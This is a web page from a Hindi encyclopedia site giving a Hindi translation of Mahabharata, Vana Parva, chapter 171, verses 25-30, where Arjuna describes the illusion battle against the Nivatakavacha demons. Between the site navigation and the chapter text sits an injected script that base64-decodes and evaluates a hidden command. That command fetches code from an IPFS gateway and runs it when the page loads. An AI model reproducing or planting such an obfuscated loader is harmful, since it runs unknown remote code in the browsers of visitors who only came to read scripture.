महाभारत वन पर्व अध्याय 171 श्लोक 25-30

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

एकसप्तत्यधिकशततम (171) अध्‍याय: वन पर्व (निवातकवचयुद्ध पर्व)

महाभारत: वन पर्व: एकसप्तत्यधिकशततम अध्‍याय: श्लोक 25-30 का हिन्दी अनुवाद

नरेश्वर! ऐसा कहकर मैंने देवताओंके हितके लिये अस्त्रसम्बन्धिनी मायाकी सृष्टि की, जो समस्त प्राणियोंको मोहमें डालनेवाली थी। उससे असुरोंकी वे सारी मायाएं नष्ट हो गयीं ।तब उन अमित तेजस्वी दानवराजाओेंने पुनः नाना प्रकारकी मायाएं प्रकट कीं। इससे कभी तो प्रकाश छा जाता था और कभी सब कुछ अन्धकारमें विली हो जाता था। कभी सम्पूर्ण जगत् अदृश्य हो जाता और कभी जलमें डूब जाता था। तदनन्तर प्रकाया होनेपर मातलिने घोड़ोको काबूमें करके अपने श्रेष्ठ रथके द्वारा उस रोमांचकारी संग्राममें विचरना प्रारम्भ किया। तब भयानक निवातकवच चारों ओरसे मेरे उपर टूट पड़े। उस समय मैंने अवसर देख-देखकर उन सबको यमलोक भेज दिया। वह युद्ध निवातकवचोंके लिये विनाशकारी था। अभी युद्ध हो ही रहा था कि सहसा सारे दानव अन्तर्धानी मायासे छिप गये। अतः मैं किसीको भी देख न सका।

इस प्रकार श्रीमहाभारत वनपर्वके अन्तर्गत निवातकवचयुद्ध पर्व में मायायुद्धविषयक एक सौ इकहतरवां अध्याय पूरा हुआ।


« पीछे आगे »

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।